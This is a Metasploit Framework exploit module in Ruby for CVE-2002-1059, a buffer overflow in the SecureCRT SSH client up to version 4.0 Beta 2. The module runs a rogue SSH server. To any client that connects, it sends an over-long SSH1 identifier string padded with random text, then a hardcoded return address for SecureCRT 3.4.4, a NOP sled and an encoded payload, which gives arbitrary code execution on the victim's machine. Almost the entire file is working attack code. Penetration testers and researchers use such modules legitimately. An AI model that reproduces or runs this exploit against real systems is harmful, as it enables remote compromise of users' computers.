73 lines
1.8 KiB
Ruby
73 lines
1.8 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in SecureCRT <= 4.0
|
|
Beta 2. By sending a vulnerable client an overly long
|
|
SSH1 protocol identifier string, it is possible to execute
|
|
arbitrary code.
|
|
|
|
This module has only been tested on SecureCRT 3.4.4.
|
|
},
|
|
'Author' => 'MC',
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2002-1059' ],
|
|
[ 'OSVDB', '4991' ],
|
|
[ 'BID', '5287' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 400,
|
|
'BadChars' => "\x00",
|
|
'MaxNops' => 0,
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Jul 23 2002',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
|
|
], self.class)
|
|
end
|
|
|
|
def on_client_connect(client)
|
|
return if ((p = regenerate_payload(client)) == nil)
|
|
|
|
buffer = "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)
|
|
buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded
|
|
|
|
print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")
|
|
|
|
client.put(buffer)
|
|
handler
|
|
|
|
service.close_client(client)
|
|
end
|
|
|
|
end
|